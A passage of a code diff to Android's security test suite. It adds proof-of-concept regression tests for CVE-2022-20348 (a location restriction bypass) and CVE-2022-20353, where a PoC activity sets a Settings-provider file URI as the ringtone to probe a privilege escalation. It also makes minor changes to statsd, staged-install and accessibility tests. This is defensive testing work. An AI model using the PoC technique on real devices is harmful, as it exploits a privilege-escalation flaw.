+ static final String USER_RESTRICTION = UserManager.DISALLOW_CONFIG_LOCATION;
+ static final int UI_TIMEOUT_MS = 5000;
+
+ String getStringRes(int key) {
+ return mContext.getResources().getString(key);
+ }
+
+ int getIntegerRes(int key) {
+ return mContext.getResources().getInteger(key);
+ }
+
+ @After
+ public void tearDown() {
+ try {
+ /* Return to home screen after test */
+ mDevice.pressHome();
+
+ /*
+ * Clear user restriction "DISALLOW_CONFIG_LOCATION" set by the test and also clear the
+ * app as device owner.
+ */
+ mDevicePolicyManager.clearUserRestriction(mComponentName, USER_RESTRICTION);
+ mDevicePolicyManager.clearDeviceOwnerApp(mContext.getPackageName());
+ } catch (Exception e) {
+ // ignore the exception as the test is already complete
+ }
+ }
+
+ @Test
+ public void testWifiScanningDisallowed() {
+ try {
+ mDevice = UiDevice.getInstance(getInstrumentation());
+ mContext = getApplicationContext();
+ mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+ mComponentName = new ComponentName(PocDeviceAdminReceiver.class.getPackage().getName(),
+ PocDeviceAdminReceiver.class.getName());
+ mDevicePolicyManager.addUserRestriction(mComponentName, USER_RESTRICTION);
+ UserManager userManager = mContext.getSystemService(UserManager.class);
+ assumeTrue(getStringRes(R.string.setUserRestrictionFailed),
+ userManager.getUserRestrictions().getBoolean(USER_RESTRICTION));
+
+ /* Start the window that contains option to toggle "Wi-Fi scanning" on/off */
+ Intent intent = new Intent(getStringRes(R.string.locationIntentAction));
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(intent);
+
+ /* Wait for the window that contains option to toggle "Wi-Fi scanning" */
+ Pattern wifiScanningPattern = Pattern
+ .compile(getStringRes(R.string.wifiScanningPattern), Pattern.CASE_INSENSITIVE);
+ boolean wifiScanningFound = mDevice.wait(Until.hasObject(
+ By.text(wifiScanningPattern).res(getStringRes(R.string.resWifiScanning))),
+ UI_TIMEOUT_MS);
+ assumeTrue(getStringRes(R.string.wifiScanningTimedOut), wifiScanningFound);
+
+ /*
+ * Check if the toggle "Wi-Fi scanning" is enabled, it is supposed to be disabled by
+ * the Device Admin in presence of fix
+ */
+ UiObject2 wifiScanningToggle = mDevice.findObject(
+ By.text(wifiScanningPattern).res(getStringRes(R.string.resWifiScanning)));
+ assertFalse(getStringRes(R.string.failMsg), wifiScanningToggle.isEnabled());
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/src/android/security/cts/CVE_2022_20348/PocDeviceAdminReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/src/android/security/cts/CVE_2022_20348/PocDeviceAdminReceiver.java
new file mode 100644
index 0000000..129a6b5
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/src/android/security/cts/CVE_2022_20348/PocDeviceAdminReceiver.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20348;
+
+import android.app.admin.DeviceAdminReceiver;
+
+public class PocDeviceAdminReceiver extends DeviceAdminReceiver {
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/Android.bp
new file mode 100644
index 0000000..37d35eb
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2022-20353",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/AndroidManifest.xml
new file mode 100644
index 0000000..d4129ac
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2022_20353">
+ <application
+ android:label="@string/appName"
+ android:supportsRtl="true">
+ <activity
+ android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.RINGTONE_PICKER" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ </activity>
+ </application>
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2022_20353" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/res/values/integers.xml
new file mode 100644
index 0000000..3207c29
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/res/values/integers.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <integer name="assumptionFailure">-1</integer>
+ <integer name="success">0</integer>
+ <integer name="timeoutMs">20000</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/res/values/strings.xml
new file mode 100644
index 0000000..27e87f6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/res/values/strings.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="alwaysButtonId">android:id/button_always</string>
+ <string name="appName">CVE-2022-20353</string>
+ <string name="defaultSemaphoreMsg">Could not get message key in shared preferences</string>
+ <string name="failureMessage">
+ Device is vulnerable to b/221041256!! Privilege escalation possible in
+ com.android.settings.DefaultRingtonePreference
+ </string>
+ <string name="fileName">NOTICE.html</string>
+ <string name="getRingtoneCmd">settings get system ringtone</string>
+ <string name="messageKey">message</string>
+ <string name="noticeUri">
+ content://com.android.settings.files/my_cache/NOTICE.html
+ </string>
+ <string name="resType">string</string>
+ <string name="resultKey">result</string>
+ <string name="setRingtoneCmd">settings put system ringtone</string>
+ <string name="sharedPreferences">sharedPreferences</string>
+ <string name="textResId">ringtone_title</string>
+ <string name="uiObjectNotFoundMsg">Unable to find UiObject with %1$s text/id</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/src/android/security/cts/CVE_2022_20353/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/src/android/security/cts/CVE_2022_20353/DeviceTest.java
new file mode 100644
index 0000000..af1f978
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/src/android/security/cts/CVE_2022_20353/DeviceTest.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20353;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+import android.content.res.Resources;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiScrollable;
+import androidx.test.uiautomator.UiSelector;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ Resources mResources;
+ UiDevice mDevice;
+ Context mContext;
+
+ // Wait for UiObject to appear and click on the UiObject if it is visible
+ private boolean clickUiObject(BySelector selector) {
+ boolean objectFound =
+ mDevice.wait(Until.hasObject(selector), mResources.getInteger(R.integer.timeoutMs));
+ if (objectFound) {
+ mDevice.findObject(selector).click();
+ }
+ return objectFound;
+ }
+
+ @Test
+ public void testDefaultRingtonePreference() {
+ String defaultRingtone = null;
+ try {
+ mDevice = UiDevice.getInstance(getInstrumentation());
+ mContext = getInstrumentation().getContext();
+ mResources = mContext.getResources();
+ defaultRingtone =
+ mDevice.executeShellCommand(mContext.getString(R.string.getRingtoneCmd));
+
+ Intent intent = new Intent(Settings.ACTION_SOUND_SETTINGS);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(intent);
+
+ String settingsPackageName =
+ intent.resolveActivity(mContext.getPackageManager()).getPackageName();
+ Context settingsContext = mContext.createPackageContext(settingsPackageName,
+ Context.CONTEXT_IGNORE_SECURITY);
+ Resources res = settingsContext.getPackageManager()
+ .getResourcesForApplication(settingsPackageName);
+ String text = settingsContext
+ .getString(res.getIdentifier(mContext.getString(R.string.textResId),
+ mContext.getString(R.string.resType), settingsPackageName));
+ // scroll until text 'Phone ringtone' is visible
+ UiScrollable uiScrollable = new UiScrollable(new UiSelector().scrollable(true));
+ uiScrollable.scrollTextIntoView(text);
+ // click on 'Phone ringtone'
+ BySelector selector = By.text(text);
+ assumeTrue(mContext.getString(R.string.uiObjectNotFoundMsg, text),
+ clickUiObject(selector));
+ // select CTS PoC app
+ text = mContext.getString(R.string.appName);
+ selector = By.text(text);
+ assumeTrue(mContext.getString(R.string.uiObjectNotFoundMsg, text),
+ clickUiObject(selector));
+ // select 'Always'
+ String resId = mContext.getString(R.string.alwaysButtonId);
+ selector = By.res(resId);
+ assumeTrue(mContext.getString(R.string.uiObjectNotFoundMsg, resId),
+ clickUiObject(selector));
+
+ SharedPreferences sharedPrefs = mContext.getSharedPreferences(
+ mContext.getString(R.string.sharedPreferences), Context.MODE_APPEND);
+ Semaphore preferenceChanged = new Semaphore(0);
+ OnSharedPreferenceChangeListener sharedPrefListener =
+ new OnSharedPreferenceChangeListener() {
+ @Override
+ public void onSharedPreferenceChanged(SharedPreferences sharedPreferences,
+ String key) {
+ if (key.equals(mContext.getString(R.string.resultKey))) {
+ preferenceChanged.release();
+ }
+ }
+ };
+ sharedPrefs.registerOnSharedPreferenceChangeListener(sharedPrefListener);
+ // wait for PocActivity to complete
+ assumeTrue(preferenceChanged.tryAcquire(mResources.getInteger(R.integer.timeoutMs),
+ TimeUnit.MILLISECONDS));
+ int result = sharedPrefs.getInt(mContext.getString(R.string.resultKey),
+ mResources.getInteger(R.integer.assumptionFailure));
+ String message = sharedPrefs.getString(mContext.getString(R.string.messageKey),
+ mContext.getString(R.string.defaultSemaphoreMsg));
+ assumeTrue(message, result != mResources.getInteger(R.integer.assumptionFailure));
+
+ String ringtoneUri = "";
+ boolean isVulnerable = false;
+ long startTime = System.currentTimeMillis();
+ while ((System.currentTimeMillis() - startTime) < mResources
+ .getInteger(R.integer.timeoutMs)) {
+ ringtoneUri =
+ mDevice.executeShellCommand(mContext.getString(R.string.getRingtoneCmd));
+ if (ringtoneUri.contains(mContext.getString(R.string.fileName))) {
+ isVulnerable = true;
+ break;
+ }
+ }
+ assertFalse(mContext.getString(R.string.failureMessage), isVulnerable);
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ // reset ringtone to default (other than 'null') present before test
+ mDevice.executeShellCommand(
+ mContext.getString(R.string.setRingtoneCmd) + " " + defaultRingtone);
+ mDevice.pressHome();
+ } catch (Exception e) {
+ // ignore exception here
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/src/android/security/cts/CVE_2022_20353/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/src/android/security/cts/CVE_2022_20353/PocActivity.java
new file mode 100644
index 0000000..977e647
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/src/android/security/cts/CVE_2022_20353/PocActivity.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20353;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.media.RingtoneManager;
+import android.net.Uri;
+import android.os.Bundle;
+
+/* PocActivity is required in this test since it is required that CTS PoC app is selected when */
+/* choosing an app for setting default ringtone. RingtonePicker appears due to actions done in */
+/* DeviceTest. */
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ try {
+ super.onCreate(savedInstanceState);
+ Intent intent = new Intent();
+ /* set NOTICE.html file uri as EXTRA_RINGTONE_PICKED_URI which sets NOTICE.html as */
+ /* default ringtone if vulnerability is present */
+ intent.putExtra(RingtoneManager.EXTRA_RINGTONE_PICKED_URI,
+ Uri.parse(getString(R.string.noticeUri)));
+ setResult(Activity.RESULT_OK, intent);
+ finish();
+ sendTestResult(getResources().getInteger(R.integer.success), "");
+ } catch (Exception e) {
+ sendTestResult(getResources().getInteger(R.integer.assumptionFailure), e.getMessage());
+ }
+ }
+
+ void sendTestResult(int result, String message) {
+ try {
+ SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences),
+ Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey), result);
+ edit.putString(getString(R.string.messageKey), message);
+ edit.commit();
+ } catch (Exception e) {
+ // ignore exception here
+ }
+ }
+
+}
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
index 8d5df1b..1edc041 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
@@ -884,7 +884,7 @@
@Test
public void testFailStagingMultipleSessionsIfNoCheckPoint() throws Exception {
stageSingleApk(TestApp.A1).assertSuccessful();
- int sessionId = stageSingleApk(TestApp.B1).assertSuccessful().getSessionId();
+ int sessionId = stageSingleApk(TestApp.B1).assertFailure().getSessionId();
PackageInstaller.SessionInfo info = getSessionInfo(sessionId);
assertThat(info).isStagedSessionFailed();
assertThat(info.getStagedSessionErrorMessage()).contains(
diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
index e98eeda..73ceea1 100644
--- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
@@ -536,6 +536,9 @@
@Test
public void testFailOverlappingMultipleStagedInstall_BothSinglePackage_Apk() throws Exception {
+ assumeTrue("Device does not support file-system checkpoint",
+ mHostUtils.isCheckpointSupported());
+
runPhase("testFailOverlappingMultipleStagedInstall_BothSinglePackage_Apk");
}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/appstart/AppStartStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/appstart/AppStartStatsTests.java
index 081e08f..6701860 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/appstart/AppStartStatsTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/appstart/AppStartStatsTests.java
@@ -23,6 +23,7 @@
import android.cts.statsdatom.lib.DeviceUtils;
import android.cts.statsdatom.lib.ReportUtils;
+import com.android.annotations.Nullable;
import com.android.os.AtomsProto;
import com.android.os.StatsLog;
import com.android.tradefed.build.IBuildInfo;
@@ -76,12 +77,46 @@
}
public void testAppStartOccurred() throws Exception {
+ runTestAppStartOccurredCommon(null, atom -> {
+ assertThat(atom.getType()).isEqualTo(
+ AtomsProto.AppStartOccurred.TransitionType.COLD);
+ assertThat(atom.getProcessState()).isEqualTo(
+ AtomsProto.AppStartOccurred.AppProcessState.PROCESS_STATE_NONEXISTENT);
+ });
+ }
+
+ public void testAppStartOccurredWarm() throws Exception {
+ runTestAppStartOccurredCommon(() -> {
+ DeviceUtils.executeBackgroundService(getDevice(), "action.end_immediately");
+ Thread.sleep(WAIT_TIME_MS);
+ }, atom -> {
+ assertThat(atom.getType()).isEqualTo(
+ AtomsProto.AppStartOccurred.TransitionType.WARM);
+ assertThat(atom.getProcessState()).isEqualTo(
+ AtomsProto.AppStartOccurred.AppProcessState.PROCESS_STATE_CACHED_EMPTY);
+ });
+ }
+
+ private interface RunnableWithException {
+ void run() throws Exception;
+ }
+
+ private interface ConsumerWithException<T> {
+ void accept(T t) throws Exception;
+ }
+
+ private void runTestAppStartOccurredCommon(@Nullable RunnableWithException prolog,
+ @Nullable ConsumerWithException<AtomsProto.AppStartOccurred> epilog) throws Exception {
final int atomTag = AtomsProto.Atom.APP_START_OCCURRED_FIELD_NUMBER;
ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
atomTag, /*uidInAttributionChain=*/false);
getDevice().executeShellCommand(getGlobalHibernationCommand(
DeviceUtils.STATSD_ATOM_TEST_PKG, false));
+ if (prolog != null) {
+ prolog.run();
+ }
+
DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
STATSD_CTS_FOREGROUND_ACTIVITY, "action", "action.sleep_top", WAIT_TIME_MS);
@@ -97,6 +132,9 @@
assertThat(atom.getActivityStartTimestampMillis()).isGreaterThan(0L);
assertThat(atom.getTransitionDelayMillis()).isGreaterThan(0);
assertThat(atom.getIsHibernating()).isFalse();
+ if (epilog != null) {
+ epilog.accept(atom);
+ }
}
public void testHibernatingAppStartOccurred() throws Exception {
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
index 33422c1..42b9b5c 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
@@ -598,30 +598,25 @@
final int atomTag = Atom.SCREEN_BRIGHTNESS_CHANGED_FIELD_NUMBER;
- Set<Integer> screenMin = new HashSet<>(Arrays.asList(47));
- Set<Integer> screen100 = new HashSet<>(Arrays.asList(100));
-
- // Add state sets to the list in order.
- List<Set<Integer>> stateSet = Arrays.asList(screenMin, screen100);
-
ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
atomTag);
DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testScreenBrightness");
- // Sorted list of events in order in which they occurred.
- List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+ List<Integer> expectedValues = Arrays.asList(47, 100);
+
+ // Sorted list of brightness values in order in which they occurred, filtered to only
+ // contain expectedValues if they are present.
+ List<Integer> data = ReportUtils.getEventMetricDataList(getDevice())
+ .stream()
+ .map(e -> e.getAtom().getScreenBrightnessChanged().getLevel())
+ .filter(expectedValues::contains)
+ .collect(Collectors.toList());
// Restore initial screen brightness
setScreenBrightness(initialBrightness);
setScreenBrightnessMode(isInitialManual);
- AtomTestUtils.popUntilFind(data, screenMin,
- atom -> atom.getScreenBrightnessChanged().getLevel());
- AtomTestUtils.popUntilFindFromEnd(data, screen100,
- atom -> atom.getScreenBrightnessChanged().getLevel());
- // Assert that the events happened in the expected order.
- AtomTestUtils.assertStatesOccurredInOrder(stateSet, data, AtomTestUtils.WAIT_TIME_SHORT,
- atom -> atom.getScreenBrightnessChanged().getLevel());
+ assertThat(data).containsExactlyElementsIn(expectedValues).inOrder();
}
public void testSyncState() throws Exception {
diff --git a/tests/accessibility/Android.bp b/tests/accessibility/Android.bp
index 91ce26b..03c7d1b 100644
--- a/tests/accessibility/Android.bp
+++ b/tests/accessibility/Android.bp
@@ -21,6 +21,7 @@
sdk_version: "test_current",
static_libs: [
"compatibility-device-util-axt",
+ "sts-device-util",
],
srcs: ["common/src/**/*.java"],
}
@@ -39,6 +40,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
sdk_version: "test_current",
}
diff --git a/tests/accessibility/AndroidManifest.xml b/tests/accessibility/AndroidManifest.xml
index bf3b1a8..056ca59 100644
--- a/tests/accessibility/AndroidManifest.xml
+++ b/tests/accessibility/AndroidManifest.xml
@@ -60,6 +60,17 @@
android:resource="@xml/speaking_and_vibrating_accessibilityservice"/>
</service>
+ <service android:name=".NoFeedbackAccessibilityService"
+ android:label="@string/title_no_feedback_accessibility_service"
+ android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.accessibilityservice.AccessibilityService"/>
+ </intent-filter>
+ <meta-data android:name="android.accessibilityservice"
+ android:resource="@xml/no_feedback_accessibilityservice"/>
+ </service>
+
<service android:name=".AccessibilityButtonService"
android:label="@string/title_accessibility_button_service"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
diff --git a/tests/accessibility/res/values/strings.xml b/tests/accessibility/res/values/strings.xml
index 37d3051..871d5f9 100644
--- a/tests/accessibility/res/values/strings.xml
+++ b/tests/accessibility/res/values/strings.xml
@@ -26,6 +26,9 @@
<!-- String title for the vibrating accessibility service -->
<string name="title_speaking_and_vibrating_accessibility_service">Speaking and Vibrating Accessibility Service</string>
+ <!-- String title for the no-feedback accessibility service -->
+ <string name="title_no_feedback_accessibility_service">No-Feedback Accessibility Service</string>
+
<!-- String title for the accessibility button service -->
<string name="title_accessibility_button_service">Accessibility Button Service</string>
diff --git a/tests/accessibility/res/xml/no_feedback_accessibilityservice.xml b/tests/accessibility/res/xml/no_feedback_accessibilityservice.xml
new file mode 100644
index 0000000..168e584
--- /dev/null
+++ b/tests/accessibility/res/xml/no_feedback_accessibilityservice.xml
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"/>
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
index 0f5afd1..27c3aac 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
@@ -34,6 +34,7 @@
import android.content.Context;
import android.content.pm.ServiceInfo;
import android.os.Handler;
+import android.platform.test.annotations.AsbSecurityTest;
import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityManager;
import android.view.accessibility.AccessibilityManager.AccessibilityServicesStateChangeListener;
@@ -44,6 +45,8 @@
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.SettingsStateChangerRule;
import com.android.compatibility.common.util.SystemUtil;
@@ -63,7 +66,7 @@
* Class for testing {@link AccessibilityManager}.
*/
@RunWith(AndroidJUnit4.class)
-public class AccessibilityManagerTest {
+public class AccessibilityManagerTest extends StsExtraBusinessLogicTestCase {
private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
new AccessibilityDumpOnFailureRule();
@@ -81,6 +84,11 @@
new InstrumentedAccessibilityServiceTestRule<>(
SpeakingAndVibratingAccessibilityService.class, false);
+ private InstrumentedAccessibilityServiceTestRule<NoFeedbackAccessibilityService>
+ mNoFeedbackAccessibilityServiceRule =
+ new InstrumentedAccessibilityServiceTestRule<>(
+ NoFeedbackAccessibilityService.class, false);
+
private static final Instrumentation sInstrumentation =
InstrumentationRegistry.getInstrumentation();
@@ -93,6 +101,9 @@
private static final String MULTIPLE_FEEDBACK_TYPES_ACCESSIBILITY_SERVICE_NAME =
"android.view.accessibility.cts.SpeakingAndVibratingAccessibilityService";
+ private static final String NO_FEEDBACK_ACCESSIBILITY_SERVICE_NAME =
+ "android.view.accessibility.cts.NoFeedbackAccessibilityService";
+
public static final String ACCESSIBILITY_NON_INTERACTIVE_UI_TIMEOUT_MS =
"accessibility_non_interactive_ui_timeout_ms";
@@ -112,6 +123,7 @@
// SettingsStateChangerRule will suppress accessibility services, so it should be
// executed before enabling a11y services and after disabling a11y services.
.outerRule(mAudioDescriptionSetterRule)
+ .around(mNoFeedbackAccessibilityServiceRule)
.around(mSpeakingAndVibratingAccessibilityServiceRule)
.around(mVibratingAccessibilityServiceRule)
.around(mSpeakingAccessibilityServiceRule)
@@ -241,6 +253,26 @@
assertTrue("The vibrating service should be enabled.", vibratingServiceEnabled);
}
+ @AsbSecurityTest(cveBugId = {243849844})
+ @Test
+ public void testGetEnabledAccessibilityServiceList_NoFeedback() {
+ mNoFeedbackAccessibilityServiceRule.enableService();
+ List<AccessibilityServiceInfo> enabledServices =
+ mAccessibilityManager.getEnabledAccessibilityServiceList(
+ AccessibilityServiceInfo.FEEDBACK_ALL_MASK);
+ boolean noFeedbackServiceEnabled = false;
+ final int serviceCount = enabledServices.size();
+ for (int i = 0; i < serviceCount; i++) {
+ AccessibilityServiceInfo enabledService = enabledServices.get(i);
+ ServiceInfo serviceInfo = enabledService.getResolveInfo().serviceInfo;
+ if (mTargetContext.getPackageName().equals(serviceInfo.packageName)
+ && NO_FEEDBACK_ACCESSIBILITY_SERVICE_NAME.equals(serviceInfo.name)) {
+ noFeedbackServiceEnabled = true;
+ }
+ }
+ assertTrue("The no-feedback service should be enabled.", noFeedbackServiceEnabled);
+ }
+
@Test
public void testGetEnabledAccessibilityServiceListForType() throws Exception {
mSpeakingAccessibilityServiceRule.enableService();
